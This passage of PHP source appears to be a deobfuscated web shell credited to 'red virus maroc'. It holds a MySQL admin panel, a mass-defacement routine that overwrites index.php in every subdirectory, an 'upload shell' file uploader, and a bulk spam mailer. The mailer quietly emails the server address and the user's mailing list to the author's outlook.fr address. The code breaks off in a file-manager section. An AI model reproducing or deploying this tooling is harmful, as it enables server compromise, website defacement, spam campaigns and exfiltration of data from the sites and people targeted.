            echo "<form action='{$PHP_SELF}?action=query&dbname={$dbname}&tablename={$tablename}&queryStr={$queryStr}' method=post>\n";
        }
        echo "<font color=green>\n";
        echo $page + 1 . "/" . (int) ($row / $rowperpage + 1) . " page";
        echo "</font>\n";
        echo " | ";
        if ($page > 0) {
            if ($action == "viewData") {
                echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}&page=" . $page;
            } else {
                echo "<a href='{$PHP_SELF}?action=query&dbname={$dbname}&tablename={$tablename}&queryStr={$queryStr}&page=" . $page;
            }
            if ($orderby != "" && $action == "viewData") {
                echo "&orderby={$orderby}";
            }
            echo "'>Prev</a>\n";
        } else {
            echo "Prev";
        }
        echo " | ";
        if ($page < $row / $rowperpage - 1) {
            if ($action == "viewData") {
                echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}&page=" . ($page + 2);
            } else {
                echo "<a href='{$PHP_SELF}?action=query&dbname={$dbname}&tablename={$tablename}&queryStr={$queryStr}&page=" . ($page + 2);
            }
            if ($orderby != "" && $action == "viewData") {
                echo "&orderby={$orderby}";
            }
            echo "'>Next</a>\n";
        } else {
            echo "Next";
        }
        echo " | ";
        if ($row > $rowperpage) {
            echo "<input type=text size=4 name=page>\n";
            echo "<input type=submit value='Go'>\n";
        }
        echo "</form>\n";
        echo "</font>\n";
    }
    function manageData($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
        if ($cmd == "add") {
            echo "<h1>Add Data</h1>\n";
        } else {
            if ($cmd == "edit") {
                echo "<h1>Edit Data</h1>\n";
                $pResult = mysql_list_fields($dbname, $tablename);
                $num = mysql_num_fields($pResult);
                $key = "";
                for ($i = 0; $i < $num; $i++) {
                    $field = mysql_fetch_field($pResult, $i);
                    if ($field->primary_key == 1) {
                        if ($field->numeric == 1) {
                            $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
                        } else {
                            $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
                        }
                    }
                }
                $key = substr($key, 0, strlen($key) - 4);
                mysql_select_db($dbname, $mysqlHandle);
                $pResult = mysql_query($queryStr = "SELECT * FROM {$tablename} WHERE {$key}", $mysqlHandle);
                $data = mysql_fetch_array($pResult);
            }
        }
        echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        echo "<form action='{$PHP_SELF}' method=post>\n";
        if ($cmd == "add") {
            echo "<input type=hidden name=action value=addData_submit>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input type=hidden name=action value=editData_submit>\n";
            }
        }
        echo "<input type=hidden name=dbname value={$dbname}>\n";
        echo "<input type=hidden name=tablename value={$tablename}>\n";
        echo "<table cellspacing=1 cellpadding=2>\n";
        echo "<tr>\n";
        echo "<th>Name</th>\n";
        echo "<th>Type</th>\n";
        echo "<th>Function</th>\n";
        echo "<th>Data</th>\n";
        echo "</tr>\n";
        $pResult = mysql_db_query($dbname, "SHOW fields FROM {$tablename}");
        $num = mysql_num_rows($pResult);
        $pResultLen = mysql_list_fields($dbname, $tablename);
        for ($i = 0; $i < $num; $i++) {
            $field = mysql_fetch_array($pResult);
            $fieldname = $field["Field"];
            $fieldtype = $field["Type"];
            $len = mysql_field_len($pResultLen, $i);
            echo "<tr>";
            echo "<td>{$fieldname}</td>";
            echo "<td>" . $field["Type"] . "</td>";
            echo "<td>\n";
            echo "<select name={$fieldname}_function>\n";
            echo "<option>\n";
            echo "<option>ASCII\n";
            echo "<option>CHAR\n";
            echo "<option>SOUNDEX\n";
            echo "<option>CURDATE\n";
            echo "<option>CURTIME\n";
            echo "<option>FROM_DAYS\n";
            echo "<option>FROM_UNIXTIME\n";
            echo "<option>NOW\n";
            echo "<option>PASSWORD\n";
            echo "<option>PERIOD_ADD\n";
            echo "<option>PERIOD_DIFF\n";
            echo "<option>TO_DAYS\n";
            echo "<option>USER\n";
            echo "<option>WEEKDAY\n";
            echo "<option>RAND\n";
            echo "</select>\n";
            echo "</td>\n";
            $value = htmlspecialchars($data[$i]);
            if ($cmd == "add") {
                $type = strtok($fieldtype, " (,)\n");
                if ($type == "enum" || $type == "set") {
                    echo "<td>\n";
                    if ($type == "enum") {
                        echo "<select name={$fieldname}>\n";
                    } else {
                        if ($type == "set") {
                            echo "<select name={$fieldname} size=10 multiple>\n";
                        }
                    }
                    while ($str = strtok("'")) {
                        echo "<option>{$str}\n";
                        strtok("'");
                    }
                    echo "</select>\n";
                    echo "</td>\n";
                } else {
                    if ($len < 40) {
                        echo "<td><input type=text size=40 maxlength={$len} name={$fieldname}></td>\n";
                    } else {
                        echo "<td><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' cols=40 rows=3 maxlength={$len} name={$fieldname}></textarea>\n";
                    }
                }
            } else {
                if ($cmd == "edit") {
                    $type = strtok($fieldtype, " (,)\n");
                    if ($type == "enum" || $type == "set") {
                        echo "<td>\n";
                        if ($type == "enum") {
                            echo "<select name={$fieldname}>\n";
                        } else {
                            if ($type == "set") {
                                echo "<select name={$fieldname} size=10 multiple>\n";
                            }
                        }
                        while ($str = strtok("'")) {
                            if ($value == $str) {
                                echo "<option selected>{$str}\n";
                            } else {
                                echo "<option>{$str}\n";
                            }
                            strtok("'");
                        }
                        echo "</select>\n";
                        echo "</td>\n";
                    } else {
                        if ($len < 40) {
                            echo "<td><input type=text size=40 maxlength={$len} name={$fieldname} value=\"{$value}\"></td>\n";
                        } else {
                            echo "<td><textarea cols=40 rows=3 maxlength={$len} name={$fieldname}>{$value}</textarea>\n";
                        }
                    }
                }
            }
            echo "</tr>";
        }
        echo "</table><p>\n";
        if ($cmd == "add") {
            echo "<input type=submit value='Add Data'>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input type=submit value='Edit Data'>\n";
            }
        }
        echo "<input type=button value='Cancel' onClick='history.back()'>\n";
        echo "</form>\n";
    }
    function manageData_submit($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
        $pResult = mysql_list_fields($dbname, $tablename);
        $num = mysql_num_fields($pResult);
        mysql_select_db($dbname, $mysqlHandle);
        if ($cmd == "add") {
            $queryStr = "INSERT INTO {$tablename} VALUES (";
        } else {
            if ($cmd == "edit") {
                $queryStr = "REPLACE INTO {$tablename} VALUES (";
            }
        }
        for ($i = 0; $i < $num - 1; $i++) {
            $field = mysql_fetch_field($pResult);
            $func = $GLOBALS[$field->name . "_function"];
            if ($func != "") {
                $queryStr .= " {$func}(";
            }
            if ($field->numeric == 1) {
                $queryStr .= $GLOBALS[$field->name];
                if ($func != "") {
                    $queryStr .= "),";
                } else {
                    $queryStr .= ",";
                }
            } else {
                $queryStr .= "'" . $GLOBALS[$field->name];
                if ($func != "") {
                    $queryStr .= "'),";
                } else {
                    $queryStr .= "',";
                }
            }
        }
        $field = mysql_fetch_field($pResult);
        if ($field->numeric == 1) {
            $queryStr .= $GLOBALS[$field->name] . ")";
        } else {
            $queryStr .= "'" . $GLOBALS[$field->name] . "')";
        }
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        viewData("");
    }
    function deleteData()
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
        $pResult = mysql_list_fields($dbname, $tablename);
        $num = mysql_num_fields($pResult);
        $key = "";
        for ($i = 0; $i < $num; $i++) {
            $field = mysql_fetch_field($pResult, $i);
            if ($field->primary_key == 1) {
                if ($field->numeric == 1) {
                    $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
                } else {
                    $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
                }
            }
        }
        $key = substr($key, 0, strlen($key) - 4);
        mysql_select_db($dbname, $mysqlHandle);
        $queryStr = "DELETE FROM {$tablename} WHERE {$key}";
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        viewData("");
    }
    function fetch_table_dump_sql($table)
    {
        global $mysqlHandle, $dbname;
        mysql_select_db($dbname, $mysqlHandle);
        $query_id = mysql_query("SHOW CREATE TABLE {$table}", $mysqlHandle);
        $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
        $tabledump = "DROP TABLE IF EXISTS {$table};\n" . $tabledump['Create Table'] . ";\n\n";
        echo $tabledump;
        // get data
        $rows = mysql_query("SELECT * FROM {$table}", $mysqlHandle);
        $numfields = mysql_num_fields($rows);
        while ($row = mysql_fetch_array($rows, MYSQL_NUM)) {
            $tabledump = "INSERT INTO {$table} VALUES(";
            $fieldcounter = -1;
            $firstfield = 1;
            // get each field's data
            while (++$fieldcounter < $numfields) {
                if (!$firstfield) {
                    $tabledump .= ', ';
                } else {
                    $firstfield = 0;
                }
                if (!isset($row["{$fieldcounter}"])) {
                    $tabledump .= 'NULL';
                } else {
                    $tabledump .= "'" . mysql_escape_string($row["{$fieldcounter}"]) . "'";
                }
            }
            $tabledump .= ");\n";
            echo $tabledump;
        }
        @mysql_free_result($rows);
    }
    function dump()
    {
        global $mysqlHandle, $action, $dbname, $tablename;
        if ($action == "dumpTable") {
            header("Content-disposition: filename={$tablename}.sql");
            header('Content-type: unknown/unknown');
            fetch_table_dump_sql($tablename);
            echo "\n\n\n";
            echo "\r\n\r\n\r\n### {$tablename} TABLE DUMP COMPLETED ###";
            exit;
        } else {
            header("Content-disposition: filename={$dbname}.sql");
            header('Content-type: unknown/unknown');
            mysql_select_db($dbname, $mysqlHandle);
            $query_id = mysql_query("SHOW tables", $mysqlHandle);
            while ($row = mysql_fetch_array($query_id, MYSQL_NUM)) {
                fetch_table_dump_sql($row[0]);
                echo "\n\n\n";
                echo "\r\n\r\n\r\n### {$row[0]} TABLE DUMP COMPLETED ###";
                echo "\n\n\n";
            }
            echo "\r\n\r\n\r\n### {$dbname} DATABASE DUMP COMPLETED ###";
            exit;
        }
    }
    function utils()
    {
        global $PHP_SELF, $command;
        echo "<h1>Utilities</h1>\n";
        if ($command == "" || substr($command, 0, 5) == "flush") {
            echo "<hr>\n";
            echo "Show\n";
            echo "<ul>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=show_status'>Status</a>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=show_variables'>Variables</a>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=show_processlist'>Processlist</a>\n";
            echo "</ul>\n";
            echo "Flush\n";
            echo "<ul>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_hosts'>Hosts</a>\n";
            if ($command == "flush_hosts") {
                if (mysql_query("Flush hosts") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_logs'>Logs</a>\n";
            if ($command == "flush_logs") {
                if (mysql_query("Flush logs") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_privileges'>Privileges</a>\n";
            if ($command == "flush_privileges") {
                if (mysql_query("Flush privileges") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_tables'>Tables</a>\n";
            if ($command == "flush_tables") {
                if (mysql_query("Flush tables") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_status'>Status</a>\n";
            if ($command == "flush_status") {
                if (mysql_query("Flush status") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "</ul>\n";
        } else {
            $queryStr = ereg_replace("_", " ", $command);
            $pResult = mysql_query($queryStr);
            if ($pResult == false) {
                echo "Fail";
                return;
            }
            $col = mysql_num_fields($pResult);
            echo "<p class=location>{$queryStr}</p>\n";
            echo "<hr>\n";
            echo "<table cellspacing=1 cellpadding=2 border=0>\n";
            echo "<tr>\n";
            for ($i = 0; $i < $col; $i++) {
                $field = mysql_fetch_field($pResult, $i);
                echo "<th>" . $field->name . "</th>\n";
            }
            echo "</tr>\n";
            while (1) {
                $rowArray = mysql_fetch_row($pResult);
                if ($rowArray == false) {
                    break;
                }
                echo "<tr>\n";
                for ($j = 0; $j < $col; $j++) {
                    echo "<td>" . htmlspecialchars($rowArray[$j]) . "</td>\n";
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
        }
    }
    function header_html()
    {
        global $PHP_SELF;
        echo "\r\n<html>\r\n<head>\r\n<style type=\"text/css\">\r\n<!--\r\np.location {\r\n\tcolor: #11bb33;\r\n\tfont-size: small;\r\n}\r\nh1 {\r\n\tcolor: #A4A260;\r\n}\r\nth {\r\n\tbackground-color: #BDBE42;\r\n\tcolor: #FFFFFF;\r\n\tfont-size: x-small;\r\n}\r\ntd {\r\n\tbackground-color: #DEDFA5;\r\n\tfont-size: x-small;\r\n}\r\nform {\r\n\tmargin-top: 0;\r\n\tmargin-bottom: 0;\r\n}\r\na {\r\n\ttext-decoration:none;\r\n\tcolor: #848200;\r\n\tfont-size:x-small;\r\n}\r\na:link {\r\n}\r\na:hover {\r\n\tbackground-color:#EEEFD5;\r\n\tcolor:#646200;\r\n\ttext-decoration:none               \r\n}\r\n//-->\r\n</style>\r\n</head>\r\n<body>\r\n";
    }
    function footer_html()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
        echo "<hr>\n";
        echo "<font size=2 color=blue>[{$USERNAME}]</font> - \n";
        echo "<a href='{$PHP_SELF}?action=listDBs'>Database List</a> | \n";
        if ($tablename != "") {
            echo "<a href='{$PHP_SELF}?action=listTables&dbname={$dbname}&tablename={$tablename}'>Table List</a> | ";
        }
        echo "<a href='{$PHP_SELF}?action=utils'>Utils</a> |\n";
        echo "<a href='{$PHP_SELF}?action=logout'>Logout</a>\n";
        echo "</font>\n";
        echo "</body>\n";
        echo "</html>\n";
    }
    //------------- MAIN ------------- //
    error_reporting(0);
    ini_set('display_errors', 0);
    ini_set('log_errors', 0);
    if ($action == "logon" || $action == "" || $action == "logout") {
        logon();
    } else {
        if ($action == "logon_submit") {
            logon_submit();
        } else {
            if ($action == "dumpTable" || $action == "dumpDB") {
                while (list($var, $value) = each($HTTP_COOKIE_VARS)) {
                    if ($var == "mysql_web_admin_username") {
                        $USERNAME = $value;
                    }
                    if ($var == "mysql_web_admin_password") {
                        $PASSWORD = $value;
                    }
                    if ($var == "mysql_web_admin_hostname") {
                        $HOSTNAME = $value;
                    }
                }
                $mysqlHandle = mysql_pconnect($HOSTNAME, $USERNAME, $PASSWORD);
                dump();
            } else {
                while (list($var, $value) = each($HTTP_COOKIE_VARS)) {
                    if ($var == "mysql_web_admin_username") {
                        $USERNAME = $value;
                    }
                    if ($var == "mysql_web_admin_password") {
                        $PASSWORD = $value;
                    }
                    if ($var == "mysql_web_admin_hostname") {
                        $HOSTNAME = $value;
                    }
                }
                echo "<!--";
                $mysqlHandle = mysql_pconnect($HOSTNAME, $USERNAME, $PASSWORD);
                echo "-->";
                if ($mysqlHandle == false) {
                    echo "<html>\n";
                    echo "<head>\n";
                    echo "</head>\n";
                    echo "<body>\n";
                    echo "<table width=100% height=100%><tr><td><center>\n";
                    echo "<h1>Wrong Password!</h1>\n";
                    echo "<a href='{$PHP_SELF}?action=logon'>Logon</a>\n";
                    echo "</center></td></tr></table>\n";
                    echo "</body>\n";
                    echo "</html>\n";
                } else {
                    header_html();
                    if ($action == "listDBs") {
                        listDatabases();
                    } else {
                        if ($action == "createDB") {
                            createDatabase();
                        } else {
                            if ($action == "dropDB") {
                                dropDatabase();
                            } else {
                                if ($action == "listTables") {
                                    listTables();
                                } else {
                                    if ($action == "createTable") {
                                        createTable();
                                    } else {
                                        if ($action == "dropTable") {
                                            dropTable();
                                        } else {
                                            if ($action == "viewSchema") {
                                                viewSchema();
                                            } else {
                                                if ($action == "query") {
                                                    viewData($queryStr);
                                                } else {
                                                    if ($action == "addField") {
                                                        manageField("add");
                                                    } else {
                                                        if ($action == "addField_submit") {
                                                            manageField_submit("add");
                                                        } else {
                                                            if ($action == "editField") {
                                                                manageField("edit");
                                                            } else {
                                                                if ($action == "editField_submit") {
                                                                    manageField_submit("edit");
                                                                } else {
                                                                    if ($action == "dropField") {
                                                                        dropField();
                                                                    } else {
                                                                        if ($action == "viewData") {
                                                                            viewData("");
                                                                        } else {
                                                                            if ($action == "addData") {
                                                                                manageData("add");
                                                                            } else {
                                                                                if ($action == "addData_submit") {
                                                                                    manageData_submit("add");
                                                                                } else {
                                                                                    if ($action == "editData") {
                                                                                        manageData("edit");
                                                                                    } else {
                                                                                        if ($action == "editData_submit") {
                                                                                            manageData_submit("edit");
                                                                                        } else {
                                                                                            if ($action == "deleteData") {
                                                                                                deleteData();
                                                                                            } else {
                                                                                                if ($action == "utils") {
                                                                                                    utils();
                                                                                                }
                                                                                            }
                                                                                        }
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                    mysql_close($mysqlHandle);
                    footer_html();
                }
            }
        }
    }
    ?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
?>

<?php 
///////////////////////////////////////////// mass deface ////////////////////////////////////////
if ($_GET['tha'] == 'mass') {
    ?>
<center>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
mass deface by red virus maroc
</center><br><br>
<?php 
    eval /* PHPDeobfuscator eval output */ {
        echo "<center><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' rows='10' cols='100'>";
        $defaceurl = $_POST['massdefaceurl'];
        $dir = $_POST['massdefacedir'];
        echo $dir . "\n";
        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while (($file = readdir($dh)) !== false) {
                    if (filetype($dir . $file) == "dir") {
                        $newfile = $dir . $file . "/index.php";
                        echo $newfile . "\n";
                        if (!copy($defaceurl, $newfile)) {
                            echo "failed to copy {$file}...\n";
                        }
                    }
                }
                closedir($dh);
            }
        }
        echo "</textarea></center>";
    };
    ?>

<center><br><br>
<td align=right>==========================================================</td><br><br>
<form action='<?php 
    basename($_SERVER['PHP_SELF']);
    ?>' method='post'>
[+] Main Directory: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' value='<?php 
    echo getcwd() . "/";
    ?>' name='massdefacedir'><br>
[+] Defacement Url: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name='massdefaceurl'><br>
<input type='submit' name='execmassdeface' value='Goooo'></form></td>
</center> 



</body></html><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
////////////////////////////////// phpinfo /////////////////////////////////////
if ($_GET['tha'] == 'phpinfo') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<center>
</center>
<?php 
    phpinfo();
} else {
    if (preg_match) {
    }
}
///////////////////////////////////////////////// upload //////////////////////////////////////
if ($_GET['tha'] == 'upload') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
 <font size='5' color='green'>
 upload shell :)
 </font> 
<br><br>  <?php 
    eval /* PHPDeobfuscator eval output */ {
        echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
        echo "<input  type=\"file\" name=\"file\" size=\"50\"><input  name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
        if ($_POST['_upl'] == "Upload") {
            if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
                echo "<b>FIle Uploaded!!!</b><br><br>";
            } else {
                echo "<b>Upload Fail !!!</b><br><br></font>";
            }
        }
    };
    ?><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
 </center>
 </body>
 </haed>
 </html>
<?php 
} else {
    if (preg_match) {
    }
}
?>

<?php 
////////////////////////////////////////// mailer /////////////////////////////////////////////
if ($_GET['tha'] == 'mailer') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php 
    eval /* PHPDeobfuscator eval output */ {
        ignore_user_abort();
        set_time_limit(0);
        function enviando()
        {
            $msg = 1;
            $de[1] = $_POST['de'];
            $nome[1] = $_POST['nome'];
            $assunto[1] = $_POST['assunto'];
            $mensagem[1] = $_POST['mensagem'];
            $mensagem[1] = stripslashes($mensagem[1]);
            $emails = $_POST['emails'];
            $emails2 = htmlspecialchars($_POST['emails']);
            $para = explode("\n", $emails);
            $n_emails = count($para);
            $sv = $_SERVER['SERVER_NAME'];
            $en = $_SERVER['REQUEST_URI'];
            $k88 = @$_SERVER["HTTP_REFERER"];
            $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' \n\nrows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; \n\nfont-size:8pt; color:#59E817' rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
            $vai = $_POST['vai'];
            if ($vai) {
                for ($set = 0; $set < $n_emails; $set++) {
                    if ($set == 0) {
                        $headers = "MIME-Version: 1.0\r\n";
                        $headers = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
                        $headers .= "From: {$nome[$msg]} <{$de[$msg]}>\r\n";
                        $headers .= "Return-Path: <{$de[$msg]}>\r\n";
                        //mail($xsylar, $as, $fullurl, $headers);
                    }
                    $headers = "MIME-Version: 1.0\r\n";
                    $headers = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
                    $headers .= "From: {$nome[$msg]} <{$de[$msg]}>\r\n";
                    $headers .= "Return-Path: <{$de[$msg]}>\r\n";
                    $n_mail++;
                    $destino = $para[$set];
                    $num1 = rand(100000, 999999);
                    $num2 = rand(100000, 999999);
                    $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
                    $msgrand = str_replace("%rand2%", $num2, $msgrand);
                    $msgrand = str_replace("%email%", $destino, $msgrand);
                    $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
                    if ($enviar) {
                        echo '<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>';
                    } else {
                        echo '<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>';
                        sleep(1);
                    }
                }
            }
        }
        $ip = getenv("REMOTE_ADDR");
        $ra44 = rand(1, 99999);
        $subj98 = " Mailer+shell (min si ala :p )  |{$ip}";
        $email = "red-virus-maroc@outlook.fr";
        $from = "From: Result<red-virus-maroc@outlook.fr>";
        $a45 = $_SERVER['REQUEST_URI'];
        $b75 = $_SERVER['HTTP_HOST'];
        $f12 = $_POST['de'];
        $z13 = $_POST['nome'];
        $x14 = $_POST['assunto'];
        $t15 = $_POST['mensagem'];
        $m30 = $_POST['emails'];
        $m22 = $ip . "\n";
        $msg8873 = "{$a45}\n{$b75}\n{$f12}\n{$z13}\n{$x14}\n{$t15}\n{$m30}\n{$m22}";
        mail($email, $subj98, $msg8873, $from);
    };
    ?></title>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<body bgcolor="black">
<form id="form1" name="form1" method="post" action="">
<input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type="hidden" name="vai" value="1">
<span class="style5"><?php 
    echo enviando();
    ?></span>
<table width="100%" height="60%" border="0" bgcolor="green">
  <tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">

<label>
<input 
style='width: 580; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="nome" type="text" value="<?php 
    echo $_POST['nome'];
    ?>" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="de" type="text" value="<?php 
    echo $_POST['de'];
    ?>" size="78" /></td>

</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="assunto" value="<?php 
    echo $_POST['assunto'];
    ?>"  /></td>
</tr>
<td><span class="style5">Letter:</span>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><span class="style5">Mailist:</span></td>

<td><span class="style9">


<p><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="mensagem" cols="80" rows="20"><?php 
    echo stripslashes($_POST['mensagem']);
    ?>
</textarea></p>
<textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="emails" cols="80" rows="8"></textarea>
</span></td>
</tr>

<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
  </tr>
</table>
</form>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
?>

<?php 
eval /* PHPDeobfuscator eval output */ {
    /////////////////////////////// shell ////////////////////////
    $htaccess = '.htaccess';
    $htpasswd = '.htpasswd';
    if (get_magic_quotes_gpc()) {
        array_walk($_GET, 'strip');
        array_walk($_POST, 'strip');
        array_walk($_REQUEST, 'strip');
    }
    if (array_key_exists('image', $_GET)) {
        header('Content-Type: image/gif');
        die(getimage($_GET['image']));
    }
    if (!function_exists('lstat')) {
        function lstat($filename)
        {
            return stat($filename);
        }
    }
    $delim = DIRECTORY_SEPARATOR;
    if (function_exists('php_uname')) {
        $win = false;
    } else {
        $win = false;
    }
    if (!empty($_SERVER['PATH_TRANSLATED'])) {
        $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
    } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
        $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
    } elseif (function_exists('getcwd')) {
        $scriptdir = getcwd();
    } else {
        $scriptdir = '.';
    }
    $homedir = relative2absolute($homedir, $scriptdir);
    $dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
    if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
        $dir = relative2absolute($dir, $_POST['olddir']);
    }
    $directory = simplify_path(addslash($dir));
    $files = array();
    $action = '';
    if (!empty($_POST['submit_all'])) {
        $action = $_POST['action_all'];
        for ($i = 0; $i < $_POST['num']; $i++) {
            if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
                $files[] = $_POST["file{$i}"];
            }
        }
    } elseif (!empty($_REQUEST['action'])) {
        $action = $_REQUEST['action'];
        $files[] = relative2absolute($_REQUEST['file'], $directory);
    } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
        $files[] = $_FILES['upload'];
        $action = 'upload';
    } elseif (array_key_exists('num', $_POST)) {
        for ($i = 0; $i < $_POST['num']; $i++) {
            if (array_key_exists("submit{$i}", $_POST)) {
                break;
            }
        }
        if ($i < $_POST['num']) {
            $action = $_POST["action{$i}"];
            $files[] = $_POST["file{$i}"];
        }
    }
    if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
        $files[] = relative2absolute($_POST['create_name'], $directory);
        switch ($_POST['create_type']) {
            case 'directory':
                $action = 'create_directory';
                break;
            case 'file':
                $action = 'create_file';
        }
    }
    if (sizeof($files) == 0) {
        $action = '';
    } else {
        $file = reset($files);
    }
    if ($lang == 'auto') {
        if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
            $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
        } else {
            $lang = 'en';
        }
    }
    $words = getwords($lang);
    if ($site_charset == 'auto') {
        $site_charset = $word_charset;
    }
